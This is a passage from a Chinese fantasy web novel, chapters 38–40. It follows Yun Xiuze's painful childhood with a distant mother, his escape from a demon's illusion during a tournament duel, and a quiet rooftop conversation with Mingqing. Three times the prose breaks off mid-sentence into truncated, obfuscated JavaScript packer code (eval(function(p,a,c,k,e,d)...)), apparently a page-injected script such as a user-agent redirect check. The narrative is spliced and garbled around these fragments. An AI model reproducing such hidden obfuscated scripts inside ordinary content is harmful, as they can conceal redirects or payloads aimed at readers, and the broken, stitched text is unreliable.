房内应该是很暖和,她穿的很单薄,但是看上去很舒服,也很衬她。 她不急不徐的坐在梳妆台前,带着些还未消散的睡意,她的贴身女使巧知站在她的身后,轻轻收拢着她的长发。 她摆弄着娘亲头发,不知说了些什么,竟然都笑了起来,云修泽张张嘴,回想了一下自己的记忆,未曾见过她笑的这般温柔开怀。 巧知的手也很巧,云修泽看不清她是如何动作,只能看到黑黑的长发在她的手上翻动,不一会儿就梳好了一个发髻。 云修泽没有见过,也许是新样子吧,看着新奇又好看,娘亲应该也喜欢的紧,不住的在铜镜前左右来回的看,之后甚至站起来拉着巧知转了一圈,更显得高兴不已。 云修泽心中有种说不出的失落,他贪恋的又看了一会儿,才默默转身离去。 “夫人。”巧知静下来,“刚刚大公子来过了,您......” 禾韵顿了一下,低声说:“知道了。” 她不再像刚才那样显得还有些活力,整个人的气质都变得阴郁起来,又端起了世家夫人的架子,缓步离开了窗前。 之后的四年时光里,云修泽经常这样往返在竹林和云府之间,但算上这次,也一共只去见了他娘亲三次。 第二次和第一次隔了一年的时光,那时他早已忘了第一次的失落,仍然满怀期待的去见他的娘亲。 这一次爹爹回来了,他见到爹爹和娘亲在一起,但并不只有他们两个,还有他年幼的弟弟,青玉。 青玉比他小三岁,正在连木剑都拿不稳的年纪,可他却已经可以独自对敌了。 不知为什么,禾韵很喜欢将青玉装扮成女孩子,青玉还小,对此也不知道表达喜恶,只知道自己每一次穿上和娘一样的裙子,娘就会笑的很开心。 云修泽看到青玉被打扮的像个瑶池下凡的小仙子,从爹爹的怀里一路跑向了娘亲。 娘亲很有耐心的在原地蹲着等他,直到他一把扑入了怀中,才笑着将他抱起来,低声不知在他耳边说了什么,将他逗得咯咯直笑。 这是何等和睦融洽的一家三口啊。 云修泽忍不住鼻酸,可这也是他的娘亲,是他的爹爹,是他的弟弟,他却只能像个外人,在阴私的角落窥探着他们的幸福。 这一次他是哭着回去的。 鸣音见到他皱着一张脸,上面全是风干的泪痕,眼睛和鼻子都红彤彤的回来,立马就担心的将他揽到了怀中。 问他怎么了他也不说,她便知道,应该是回去的时候看到了什么不高兴的东西。 她之前找禾韵谈过,可是禾韵身为天竹一脉的圣女,哪怕全族的赴死都是心甘情愿,也难以解开心中的死结,她在孕育云修泽时几乎付出了全身的精血,已是无力回天,再难有什么成就,只能满心偏执的将希望寄托在了云修泽身上。 可他还是个孩子,是个渴望娘亲的孩子,在竹林里的这两年,鸣音是眼睁睁的看着他发生改变的,他变得越来越成熟稳重,变得越来越刻苦认真,也变得越来越......冷心漠然....... 他的淡漠并不浮于表面,而是被掩在了深处,不经意间就会显露出来,他自己都还没有注意到,只是鸣音积年累月的看着他,无法不注意到他的改变。 云修泽一句话也不说,只一个劲儿的抱着她,闷头扎在她的怀中。 鸣音拿他没有办法,只能不断的抚摸着他的头,想要给他一些安慰。 良久,云修泽的声音闷闷的从她的怀中传出来。 “师傅,你教我梳女子的发髻吧。” 鸣音觉得好笑,半大不大的小少年就要学梳女子的发髻,他这个师傅虽然是女子,但本体却是一只鸟妖,向来不爱摆弄那些,这小子真当他师傅是万能的了,什么都能教。 “你学这个做什么?你连自己的头发都不爱摆弄,成天天的拿根草绳扎个马尾草率了事,莫不是看上了你家哪个小丫头不成?” 云修泽仍不肯将头抬起来,见鸣音笑他,就恼羞的用脑袋在她怀中顶了一下,支支吾吾也说不出什么来。 过了好一会儿,才闷闷不乐的交代。 “......我想给娘亲梳,我见过她梳头发,梳好看了,她会很高兴......” 鸣音在他头上的手顿住了,泛起一阵阵心酸。 真是个傻小子,禾韵也不是个好娘,竟让他在这个应该只知疯玩儿的年纪,费尽心思的去想怎么讨娘亲的欢心,真是让她痛心。 她只觉得自己的声音是从喉咙里被挤出来的,干涩而不成句。 “......好......师傅教你......” 之后的日子里,鸣音就常常夜半时分化为原形飞出去,飞到十几里地开外的城镇,去观摩那些最时兴的发髻怎样摆弄。 她的速度很快,等飞回来时,尚且有不少时间可以在自己的头上做些尝试,说来也是奇怪,她这翅膀飞起来只能看见残影,平时舞刀弄棒也不在话下,应是灵巧的很才对,可偏偏在梳头发这件事上屡战屡败。 可鸣音的鸟生里就没有放弃这两个字儿,她几乎是越挫越勇,故意让云修泽加强了一阵子的修炼,把他累的每天想不起来这事儿,只能倒头就睡。 自己则夜夜苦战,势必要为这孩子做些什么,真是笑话,自己生的孩子自己不疼,还有她这个做师傅的疼呢! 她的确做到了,在她成功给自己梳好了至少七十种发髻后,她就开始信心满满的给云修泽教学。 想起自己的悲惨经历,鸣音早就提前做好了长时间奋斗的心理准备,可谁知云修泽与她截然不同。 一个孩子,梳起头发来竟是一点就通,预备学三个月的发髻,竟然三天就被他学完了。 鸣音莫名觉得有点心梗。 学成后,她本以为云修泽会马上去找他娘亲,可没成想他却表示要继续留在这里修炼。 按他的说法,之前的两次见面,娘亲都不知道他已经出了竹林。 若是以他现在这个实力出去见她的话,一定会让她不高兴的,所以还是要学成之后再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么......师傅这是怎么了?您说出来...我?我好的很啊!您看!这两天我都没受伤的!别哭了别哭了......我真的没事儿的......” 鸣音已经顾不上在小辈面前哭丢不丢脸这个问题了,这个孩子她从小看到大,是她伴生天竹的亲子,在她看来,和她自己的孩子没有什么两样。 可现在,她却要眼睁睁的看着这孩子毁掉自己,这叫她如何能不心痛? 她又将手臂收紧了些。 “子竹......师傅求你了,别再这样不爱惜自己了好吗?你不必做到如此地步......师傅很确定你娘亲,你爹爹和你弟弟都是爱你的,师傅也很爱你......你不能如此轻贱自己啊!你可知每次在你不惜透支自己、伤害自己也要达成目的的时候,师傅的心都在滴血啊!纵使你的体质异于常人,可受了伤也是会痛的啊!!!” 她干脆将心中的难过和痛苦爆发了出来,可这些话同样字字都扎在云修泽的心尖上。 他只觉得呼吸停滞,他原以为师傅不过是单纯的希望他少受些伤,却没能想到师傅心中竟然如此难过。 不知不觉,他的泪水就模糊了视线,眼泪不住的在眼睛里打转。 他也觉得委屈啊!!! 他如何能不委屈?!只不过这么多年,全都被他无意识埋在了心底罢了! 他还不能明白为什么娘亲要这么对他,不能明白同样身为娘亲的儿子,为什么弟弟就能得到百般宠爱,他却只能在寂静无边的竹林里日复一日的苦修...... 幸而是有师傅在的,这是他最大的安慰,师傅向来对他很好,会给他添置衣物,会在他忘记的时候叫他吃饭,会在他做噩梦的时候温柔的拍打着他的背。 师傅对他的好他全都记在心中,所以即便师傅的训练再严苛,他都没有抱怨过一句,而是全都一丝不苟的完成。 他总在心中一遍遍的告诉自己,我是长子,我已经长大了,我有要背负的责任,我不能辜负娘亲和师傅的期待,没关系,我可以,我还可以更好,坚持住,马上就可以成功! 他几乎不断的在用这些话给自己灌输,他也成功做到了,只不过好像过于委屈自己。 如今师傅的哭声在耳边响起,她的眼泪是为他而流,他才知道原来自己竟是这么委屈,滴在身上的泪成了压倒他的最后一根稻草。 云修泽紧紧的抱回去,哇的一声哭了出来,他很少哭,就是哭,也从未如此嚎啕不止,可这一次,他偏想哭个痛快,眼泪也根本止不住。 师徒俩就这么紧紧抱着哭了许久。 从那次之后,鸣音就惊喜的发现云修泽变了。 他不再像之前那么拼命,也懂得了在战斗的时候保护自己,虽然仍然刻苦,但已经懂得了把握度量。 真是意外之喜! 鸣音喜滋滋的想着,原来哭一哭竟能有这般效果吗?真好用!早知道她还瞎折腾什么,抱起来哭就是了! 云修泽现在的轻功历时四年多,已经算是大成,剩下的就是再慢慢打磨的功夫。 又一日,他终于鼓足了勇气,光明正大的,离开了这片竹林...... 38. 协济十四 午后,禾韵从床上醒来,照旧坐到了梳妆台前,困顿尚未消去,她用一只手轻轻按着眼角,闭着眼睛喊道。 “巧知,跑哪里偷懒去了?还不快来为我梳洗。” 一双手抚上了她的头发。 那双手的动作轻柔,动作却比平常快上不少,禾韵没有多想,自顾自的说起话来。 “今日不知是怎么了,总是有些头晕,你一会儿去药房给我取些药来。” 她感觉到那双手掠过她的耳鬓,从桌上拿起了一只钗子,轻轻插在了她的头发上。 平日里梳完头发,巧知就会去给她拿要穿的衣服,今日却没有那样做。 插完钗子,那双手就顺着她的头发一路向下,随即放在了她的双肩。 这绝不是一双女子的手。 禾韵一下睁开了双眼,眼中一片清明。 她眼神凌厉的向镜中人看去,却发现站在她身后的,居然是她多年未曾谋面的长子。 云修泽将自己的期待和忐忑隐藏的很好,他只是关切的问道。 “娘亲可是病了?何不直接召医师前来?” 见禾韵只是盯着他不说话,他抿抿嘴,心中又多了两分不安,但还是有些强颜欢笑的说道。 “娘亲你看,子竹给你梳的头发好不好看?是不是比巧知姐姐还要好上一些?我专门学来要给娘亲梳的,娘亲可喜欢吗?” 听他这么说,禾韵才注意到自己的发髻,的确是很衬她的样式。 她不知道自己有没有心软,但还是缓和了一些表情。 “你在这里做什么?我不是跟你说过......” “要像您、像根竹子一样,才可以出来。” 男子肖母,镜中的两人分明有着一样的眼睛。 云修泽抢先打断了她的话,他闷闷的放下双手,往后退了两步。 “您可以看看,我是否已经达到您的期待。” 母子两人之间具是沉默,隔了有一阵子,禾韵才从妆匣里翻出一对耳铛,对着铜镜,一边戴一边说。 “去武场。” 云家,武场。 云修泽站在最中心,对面是专门请来的府中的长老。 他是诸位长老中身手很不错的一位,就算放出去,也称得上是高手中的高手,此时却让他跟一个半大不大的孩子打,哪怕是府中的少主,也难免有以大欺小的嫌疑。 长老很是迟疑,他皱着眉向禾韵请示道。 “夫人,我知您是望子成龙,但少主还是个孩子,实在是过于年少,若要寻人切磋,大可从护卫试起,刀剑无眼,若是老夫亲自动手的话,就算收着力气,恐怕也容易伤到少主啊!” 武场边的禾韵显得尤为冷酷,她抬手示意长老不必多说。 长老见她心意已决,也是没有办法,只能对云修泽说。 “少主,不如这样,您来进攻,若逼的老夫后退,便算是您赢了,如何?” 云修泽早就习惯于隐藏自己的失落,他抱拳对长老说。 “多谢长老好意,不过子竹还是要请您不要手下留情。” 长老无奈的叹了口气,还是决定要小心一些。 “少主,请。” “请。” 从两人真正打起来后,长老心中的惊讶就慢慢多了起来。 他本以为自己用上一半的力气就差不多了,却没想到少主的实力要比他想的强上许多。 尤其是那身轻功,让他在用别的招式的时候,身法也尤为的轻盈迅疾。 他用的剑只是一把普通的剑,灵力的修炼也尚且不如他,云修泽自己显然也很清楚这个问题,从不与他正面硬刚。 两人在场上快速的交着手,禾韵眼睁睁的看着云修泽一步步将长老逼得后退,逼的用剑,逼的眼神越来越认真。 她只感觉自己的心被狠狠的揪着,双眼一差不差的看着场内。 云修泽从来在竹林中静修,那片竹林都是灵竹,如此庞大的数量,积年累月的蕴养,再加上云修泽自己本身就是天竹的血脉,让他的行为招式,都含有了一些竹林瑟瑟之意。 君子如竹,云修泽的脊背常年挺拔,他的双眼也一向清明,未曾参有繁复的杂念,常年的寂寥让他在安静时,就如同一根独自伫立的新竹,隔开了所有的同伴,只有自己站的挺拔。 禾韵突然注意到他穿的衣服也是以青色为主,不过她没放在心上,只认为这也只是一个巧合。 不论她的心思如何复杂变化,场上的长老却只觉得心惊。 他几乎已经用上了八成力气,竟还不能将云修泽拿下,反而隐隐有被压制之意。 这是何等......何等的天才啊!天佑云府!后继有人啊!!! 长老的眼神中含着激动,出于尊敬,他也不再隐藏实力,全力以赴的和他对打。 两人来回过招,一个时辰左右才到了可以分出胜负的节点。 云修泽觉得自己是有机会可以赢下来的,只不过要伤敌八百,自损一千的以伤换伤了。 他这么想,就准备这么做,却在最紧要的关头想起了师傅鸣音那双含着眼泪,充满了难过的双眼。 他紧紧避开了剑刃,被逼的不得不从地上翻滚,但他几乎以最快的速度调整了自己,再想要重新站起来时,却无可奈何的被长老用剑架在了脖子上。 云修泽拉平了嘴角,他不知道这是否会让禾韵失望,但他并不后悔。 “......是我输了。” 剑被长老收回了剑鞘,他弯腰将云修泽从地上扶了起来,发自内心的说道。 “不,少主,您已经很出乎我的预料了,切不要因此妄自菲薄,不然我可真是无颜再做这个长老了。” 云修泽向场边望去,却发现不知什么时候爹爹也已经来到了这里。 他跑过去行了个礼。 “爹!......娘......” 云父名方樾,此时一只手抚着长须,一只手背在身后,只是点了点头,却一言不发。 云修泽偷偷去看禾韵的脸色,却发现她面无表情,根本什么也看不出来。 “尚可。”她说道。 还没等云修泽高兴,她就又说道。 “不过还差些火候,我没想到身为我的孩子,这么多年了,你竟然都没能办到,真是让我失望。” 云修泽不知道自己现在脸上有什么表情,只觉得自己的心一下沉到了最底,脑海中全是乱七八糟的嗡鸣声,可他听到了自己的声音,仿佛不受自己控制一般僵硬地说道。 “是,是孩儿不好,孩儿这就回竹林去了......” 禾韵点头,转身就离开了,云父就像什么都没有听到一般,仍是没有说话,也跟着她一同离去。 看着他们的背影,云修泽不知道为什么,总觉得有些违和,似乎本来不应该这样,但他现在脑中一片杂乱,并没有多余的力气去深究。 于是就这样,他又再次回到了那片熟悉的竹林。 可是他感觉一切都在发生变化。 他本以为师傅会像往常一样安慰他鼓励他,却没想到她只是淡淡的说了一句知道了,让他继续努力。 这明明也没什么的,可云修泽就是觉得难过,他张张嘴,向鸣音的方向走了几步,罕见的试图主动去寻求一些安慰,鸣音却没有给他这个机会,直接化为鸟儿飞入了竹林。 被留在原地的云修泽只觉得嘴巴中也泛起了苦味,他只能在心中一遍遍的安慰自己,师傅只是累了,她只是没有注意到我的异样,也许是我真的不够努力...... 怀抱着这种奇怪的心态,他将休息的时间压到了最短,睡得最长的时候,也只有俩个时辰左右,剩下的时间全都被他拿来了修炼。 又过了一段日子,出乎意料的,青玉被送了过来...... 青玉同样拜了鸣音为师,他已经到了开始习武的年纪,本来是在族学,和其他云家子弟一同听授,不知道为什么突然来了这里。 和云修泽不同,云修云的出生属于一个意外。 那时的禾韵已经为了云修泽耗尽了全身的精血,再有孩子的希望很渺茫,可偏偏事情就是这么发生了,虽然发生了,可生出来的云修云,血脉中属于天竹的灵血已经少的可怜了,比起云修泽,他更像一个纯正的人族。 所以他其实并不适合跟着鸣音修炼,可偏偏他闹着要找哥哥,竟是非要跟他拜同一位师傅才可。 爹娘拗不过他,只能将他也送了过来,但条件就是他不能一直待在这里,一个月中定然要有大半个月在族学中进修。 青玉很粘他,云修泽也知道这是自己的弟弟,一切都跟他无关,但他就是忍不住的有些讨厌他。 一切似乎都变了,从他在练武场回来之后,一切都好像发生了微妙的改变,他感觉身边的所有人都在慢慢的远离他,甚至是厌恶他,他不知道是哪里出了问题。 云修泽看着云修云一本正经的给鸣音行拜师礼,他看着鸣音一脸温和,看着他们师徒和睦,看着鸣音对他的细心教导,看着他每次离开竹林时,爹娘都会亲自来接他。 他无法抑制住自己心中的那份恶,无形中似乎有一个声音在不断的告诉他,是青玉抢走了他的一切,青玉拥有的,本该是他的! 云修泽看着在竹塌上酣然入睡的云修云,心中的恶意不断翻涌着。 只要杀了他,杀了他谁都不会知道的,鸣音今日不在竹林,以他的实力,可以轻而易举的让青玉永远的闭上眼睛,到时候,他就可以夺回属于他的一切!!! 只要杀了他...只要杀了他...... 他的手已经逐渐逼近了云修云的脖颈,他还那么小,他一只手就可以轻易将他掐死。 他如同着魔一般,眼中尽是狠毒,他咬牙切齿的想要就这么了结了他,可双手不知道为什么,就是迟迟无法用力。 “哥哥。” 一只小手放在了他掐着他脖颈的手上。 云修云不知什么时候已经醒了,他睁着湿漉漉的大眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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这里很安静,却跟竹林的死寂不同,云修泽能听到风吹过纱窗的轻响,能听到树叶摩挲的声音,能听到偶尔传来的鸟鸣,这一切的一切,都让这个午后显得格外静谧而美好。 云修泽很有耐心的将她的头发一缕缕梳顺,用着不同的首饰为她装点,直到一个完整的发髻从他的手下成型。 他将双手放在她的肩上,透过铜镜去看她的表情。 “怎么样?娘可喜欢吗?” 铜镜中,禾韵侧了侧脸,用一只手摸了一下头发,很是高兴的样子,甚至越过头顶,用那只手轻轻抚摸了他的脸颊。 “当然喜欢了,子竹的手艺这般好,娘很为你骄傲,以后也要这么给喜欢的姑娘梳头发哦。” 云修泽的喉结轻轻滚动了一下,他按着禾韵的肩膀,将她转了过来。 在她不解的目光中,云修泽弯腰坐在了地上,试探着将脑袋放到了她的膝盖上。 禾韵很自然的将手放上去,一下又一下抚摸着他的头发,声音带着笑意。 “这是怎么了?怎么突然跟娘亲撒娇呢?” “......娘......”云修泽叫着这个有些生疏的称呼,低声问道。 “若是我喜欢的姑娘,不愿意跟我在一起怎么办呢?” “她不喜欢你吗?” “应该是喜欢的吧。” 禾韵想了想,问道。 “你有多喜欢她呢?” 这次云修泽沉默了很久,最后语气没什么起伏的说道。 “喜欢到想不顾一切,强行将她留在我的身边。” 他抬起头,笑的有些苦涩。 “我这样是不是太不像竹子能干出来的事儿......又让您失望了,母亲?” 禾韵的目光柔和,她将云修泽又按回了她的膝上,弯腰将脸贴了上去,环抱着他,如同哄孩子一般温柔的安慰着他。 “怎么会呢?子竹是娘珍贵的孩子,我当初拼尽全力也要生下你,就是因为我爱你的父亲,爱着身为我们孩子的你啊,我永远不会对你感到失望的。” 云修泽的身体颤了颤,听她接着说道。 “天下的姻缘,皆有它的因果,你若不顾那姑娘的意愿,纵使能求得那果,心中只怕也是长久的难过,因果相扣,以心换心才是良策,你尽可以拼尽全力的去尝试一切的可能,但娘亲还是希望你能高兴。” 云修泽被她抱在怀中,面上平静无波,心中却早已翻起滔天巨浪。 他从禾韵的怀中出来,自下而上的看着禾韵那双盛满了温柔的双眼,喃喃的说道。 “若是您当时也这样就好了。” “什么?” 禾韵没听清他的话,她看到云修泽的表情很是悲伤,但慢慢的,那份悲伤就从他的脸上褪了下去,他的神情开始变得不符合他现在的年纪,显得十分冷静、成熟和坚定。 她听到他说。 “幻境,该结束了。” 39. 协济十五 随着他的话,周围的一切就如同碎裂的甲壳,片片剥离,直至露出了现实真正的模样。 云修泽在一片浓雾中睁开双眼。 雾气向远处无尽的蔓延,见不到天与地,仿佛只有他孤零零的存在在这里。 云修泽缓缓抽出了褚闲,本想主动的去寻找爻池仙,却突然想起了唐思月的忠告。 虽然幻境已破,但这种能力防不胜防,于是他收回了已经迈出去的腿,决定小心为上。 “我不明白,我的幻境到底是哪里出了问题?你明明已经开始崩溃了,又是怎么突然识破的?” 蓦地,浓雾中出现了爻池仙的身影,他站在离云修泽一丈远的地方,声音雌雄难辨,远近难分,这是云修泽第一次听到爻池仙的声音。 云修泽笑而未语,手上则又轻又快的挽了个剑花,长发被他的剑风带动微微飘扬,片刻后,杀意已如洪流决堤而出! 爻池仙已经现身,证明他现在已经没有多余的力气再去构建如此精妙绝伦的幻境,那他便没有什么顾忌,可以放手一搏了! 只见他迅速的接近爻池仙,褚闲快出了残影,混着灵力破空而去。 爻池仙就如同没有真正的实体,斗篷弯折出了不可思议的角度,巧妙的避开了褚闲。 他倏地消失在了原地,云修泽双耳微动,瞬间调整攻势,向后上方刺去。 爻池仙果不其然出现在那里,他来不及躲避,斗篷的侧肩被褚闲划出了一道口子,下面冒出的却是和周边一样的雾气。 他并未后退,而是借着这道‘伤口’迅速接近了云修泽,他伸出指尖,在云修泽的眉心隔空轻点,一阵涟漪就凭空出现在了那里。 云修泽只觉得‘轰’的一声,眼神瞬间涣散。 眼前的事物又开始飞快的变化,他甚至能从中分辨出明青模糊的身影。 他有些不合时宜的笑了起来,如果再次堕入幻境,那这份以他恐惧为支点构成的幻境,竟然真的会出现明青的影子。 真是得益于他的童年与明青的出现相隔甚远,若不是将两者揉和起来只会让幻境显得突兀,恐怕爻池仙会更容易得手。 看来真是要感谢他,云修泽现在无比清楚的明白了自己的恐惧,真是想自欺欺人都不能了。 云修泽并未在这些幻影中停留多久,他的眼神重新恢复了清明,又瞬间变得锐利,提剑紧追上去,一点都没有刚刚失去过神智的样子。 但他知道,这些不过是表象罢了,实际上,为了摆脱这些幻境,他的灵力已经所剩无几,神经也已经崩成了一根紧紧的弦,若是再让爻池仙上演一遍刚才的手段,他也不能确定自己能否再次醒来,所以在保证不让那个爻池仙近身的前提下,一定要速战速决! 一人一妖就在这片看不清边界的浓雾中来回交锋,主要是云修泽在追,爻池仙在躲,但每当爻池仙想要主动靠近的时候,云修泽又会立马拉开距离,一时间竟都对彼此无可奈何。 这样下去不是办法。 云修泽平复着自己的呼吸,慢慢将心沉下来,开始冷静的分析他们之前的交手,并不是打不过,主要是很难碰到他,这一点像谁? 云修泽缓缓勾起了嘴角。 这一点,像是只躲不打的明青。 明青的轻功和他不同,步伐十分难测,这不正如同身在雾中的爻池仙吗?更何况在这一点上,他还根本比不过明青难缠。 他又想起了在周天山上央玉的话。 ‘如果你遇上了像明儿一般的对手,想在战斗中迅速取得胜利的话,就一定要了解他,读懂对方的思路,预判他的下一个落点,然后,提前截杀!’ 这片浓雾看似无边无际,但实际上他们能活动的地方就只有现实中的擂台大小,刚刚他们已经缠斗过一阵子,对于爻池仙,他已经能够大概摸清! 想到这里,云修泽又再一次主动出击,逼出了爻池仙的身影后,就开始压制着他,让他往自己预测的落点而去,就这么来回试了几次,果不其然,冷静下来后,十之七八能够让他猜到。 云修泽当即不再跟他玩儿躲猫猫,火力全开的准备将他斩于剑下。 他的身影犹如鬼魅,爻池仙刚刚已经躲过了他的正面攻击,可偏偏下一瞬他又出现在背后,比他这个真正的妖还要邪上几分。 一开始爻池仙只以为是巧合,可几次过后,他就明白云修泽已经将自己看清了,他不由得慌乱起来,数次想要令云修泽再次陷入幻境,却无奈的发现根本找不到机会。 每每一击得手,他就会马上回转脱离,而他越是着急,越是自乱阵脚,如此几个回合过后,就再也支撑不住,被云修泽压在地上,抵住了命脉。 掩盖着他身体的斗篷向两边散开,中间根本没有实体,而是一团跳动的蓝色火焰,这团火焰中包含着他的妖丹,对他们来说,就如同人类的心脏,而此时,正有一把寒光乍现的利剑直指于此! 爻池仙明白这场比赛的胜负已分,他们因为连续两次的落败,就要止步于此。 说起来还有些可笑,一开始被指名挑战,他们并未放在心上,可没成想,上去的第一位同族,就连妖丹都被毁去,而他也是性命难保,恐怕要害他们在之后几年间,难以在四大妖族中抬起头来。 他的性命已经被一个不知名的人族掌握在了手中,但他心里却没有太多恐惧,命数如此罢了,可他还是有想要知道的事情。 “我还是想知道,你到底为什么能够脱离我的幻境?” 云修泽冷漠的看着剑尖下的爻池仙,握着褚闲的手轻轻转动,剑身随着他变换了一个角度,映出了他的双眼。 对于这个让他不得不又一次重温回顾自己的痛苦的爻池仙,云修泽心中只包含了无限的恶意,他本不打算回答他的问题,却又突然想起了幻境中禾韵最后温柔的双眼。 哪怕一切都是假的,他也的确得到了年幼时曾经最想得到的东西。 之前的一切都是真的,但是从武场开始,爻池仙就扭曲了事实,将他害怕发生的事情,都变为了真实。 可实际上,那几年云父已经彻底回归了云府,对于禾韵的心结,他多有规劝开解,并不曾向幻境中那般一言不发。 禾韵毕竟是天性就心怀苍生的灵竹,纵使心中有怨,在时间的流逝和爱人的劝解中,也逐渐放下,从最开始,她对云修泽的态度就绝得说不上冷漠,更多的是不亲近,总是淡淡的。 云修泽渴望靠近,却屡次受挫,逐渐长大的他,就找到了一个母子之间的安全距离,就如同相敬如宾的夫妻,他也觉得,他们会永远做一对‘母慈子孝’的母子。 可这个幻境勾起了早已被他掩埋的恐惧,于是云修泽改变了主意,开口回道。 “人与妖不同,你试图无限放大我的恐惧,却忘记了,她是我的母亲,人族之间的感情复杂缠联,纵使我们之间再不亲近,她爱我这点,我也从未怀疑!” 说到最后,他的表情变得有些狰狞,紧握着褚闲向下深深一刺,脚下的爻池仙还来不及对他的话有所反应,就瞬间化为飞烟消散在了天地间,只留下了那件残破的斗篷...... 浓雾随着他的逝去消散,擂台上,云修泽独自站在那里,脚下的斗篷是无声地宣告。 明媚的阳光从他的头顶洒落,将这一幕照的一清二楚,一望而知。 “胜者......”云修泽收剑回鞘,目光环视四周,冷静而傲气十足,他铿锵有力、一字一顿的说道。 “第、七、洲!” 场中只短暂的静了片刻,然后就是呼啸而来,欢呼雷动! 众人的高呼声大到几乎要将整个场地翻过去,他赢了和唐思月赢了有着截然不同的意义。 他赢了,就说明爻池仙彻底退出此次白界大比,从这个大比出现开始,这是第一次,也许也是最后一次,四族之一从最开始,就退出这片擂台,失去争夺冠军的资格。 而这一次,带来这个震撼的结果的,是一个名不见经传的陌生队伍,但这次大比之后,第七洲这个名字,毫无疑问,会以极其强势的姿态,名动六洲!!! * “如此,我们便有一小段休息的时间了,只要安心等待二对二就可以了。” 明青说道。 从那天回来后,云修泽就将自己关在房中,关了得有一个下午才肯从里面出来。 他的幻境也和唐思月一样,只有一片浓雾,没人知道里面发生了什么,这样的情况一连发生两次,只怕他们的名字,现在已经被呈上了那些高位者的桌案。 现在五人正在一处吃饭,商量着之后的事情,刚刚明青说的,就因为他们是极少数的情况,作为挑战者,连打两场,连胜两场。 在等待其他人打完一对一,还得有一小段时间,这段时间正好空出来让云修泽和唐思月养伤,他们也可以安排一下其他的事情。 云修泽顺手给明青夹菜,说道。 “之后的双人对战无论胜负都要打满五轮,胜三场即可,队友倒是可以打乱分配,不忌讳重复上场,你们怎么想?” 唐思月喝了一口汤,沉思片刻说道。 “我觉得我们倒是可以试试不熟悉的队友,我们五人对战的经验已经有一些了,可平日里很少有两个人单独配合,现在倒是一个好机会。” “话是没错。”云修泽也考虑过这个。 “但是我们不能完全用不熟悉的配合,不然恐怕要栽跟头,平时也就算了,现在的情况不容许我们多次试错,而且我们的对手也不一定是什么善茬。” 唐思月眼睛一转,就有了几分揶揄的笑意。 “这是自然,我和行愿相识多年,很是熟悉彼此的实力习惯,我们可以上场,上几场就看你安排,想必老大和阿云也是如此吧,你看,既有了我们,作为我们队伍里的最强者,你和明青是不是要趁此机会磨合一下?不然,你们两个都无法配合的话,我们这个队伍又如何凝聚的起来呢?” 云修泽转头和明青对视一眼,明知她在调侃,却又说不出什么反驳的话,只能哭笑不得、不痛不痒的骂道。 “叫老大还叫上瘾了不成,你个鬼灵精,就知道调笑玩闹。” 唐思月无辜的耸耸肩,笑的一派纯然。 云修云看热闹不嫌事儿大,也跟着起哄,云修泽只能交代道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“好,到时候我们具体上场的顺序要再根据抽到的对手决定,我尽量将你上场的时间隔开,让你有些缓冲的时间。” 一顿饭的时间,五个人就将之后的事情大概定了个章程出来。 夜晚,云修泽就提着一壶酒和两个酒杯,爬上了明青屋子的房顶,悠哉悠哉的躺了下来。 他不慌不忙的给自己倒了一杯,就着晚风,送下了肚子,舒服的眯起了眼睛。 “好酒。” “给我也来一杯?” 明青察觉到了他的到来,上来一看,就见他竟然跑到这里来喝酒。 云修泽一脸早就预料到她要来的笑容,单手拎起酒壶,给那只空着的酒杯也倒满了,往她面前一放。 “请。” 明青在他身边坐下。 “你在幻境里遇到了什么?” 在她说话间,云修泽就又喝了一杯,他闭着眼睛说道。 “就是一些儿时的事情,之后有机会再告诉你。” 明青见他的眉眼间淡淡的,说的倒是很无所谓,但看起来就是很不想提的样子。 她垂下眼,轻抿了一口杯中酒,看来,是相当不高兴了。 “你呢?” 明青突然听见他问道。 “我怎么了?” 云修泽睁开一只眼,看着身侧她的身影。 “你离家出走只为了找你的哥哥吗?” “不然呢?” “不知道,但总觉得应该还有点儿别的理由。” 明青拿着酒杯转过头不去看他,模糊不清的说。 “好吧,是有点儿其他的理由。” 云修泽提起了点儿兴致。 “哦?什么理由?” 他听见了明青的回答,但是含含糊糊,听不真切,只能凑近了些,又问道。 “什么?” 明青转过头来,有些恼羞的说道。 “我爹娘给我相看了人家,叫我暗中看看满不满意,可听清楚了?” 若不是看他心情低落,她是断不会将这件事说出来的。 云修泽愣了一下,倒也没觉得吃醋,随即哈哈大笑起来,竟然是如此,真像是她能干出来的事儿,为了‘逃婚’而逃家。 见他笑的开怀,明青也放松了下来,恼羞不再,只无奈的等着他笑完。 云修泽笑了好一阵子才勉强停下来,他一只手擦去眼角笑出的眼泪,气息不稳的说道。 “你这年纪,在法修里还年轻的很,你父母倒是很着急将你嫁出去啊。” 明青睫毛微颤,说道。 “他们不过是想找到一个能被他们控制的人,确保对方会爱护我,然后借此让我留在他们的身边罢了。” 云修泽也安静了下来。 “你是为了自由?” “不。”明青说:“我只是不想嫁给陌生人。” 云修泽垂眼看着被自己捏在手中的酒杯。 “那你看重自由吗?” 明青觉得他有点奇怪,想了想,回道。 “我喜欢自由。” “你喜欢自由啊.......”云修泽叹道。 是啊,她喜欢自由...... 40. 协济十六 休息的这几天时间里,云修泽也没有闲着,俗话说知己知彼百战不殆,为了了解其他强劲对手的实力,他经常往返在沁园和大比场地之间。 若是其他几个有空,便会被他拉着一起同去,但更多的时候只有他和明青同行,而他们会将观察到的回去再和云修云三人交流探讨。 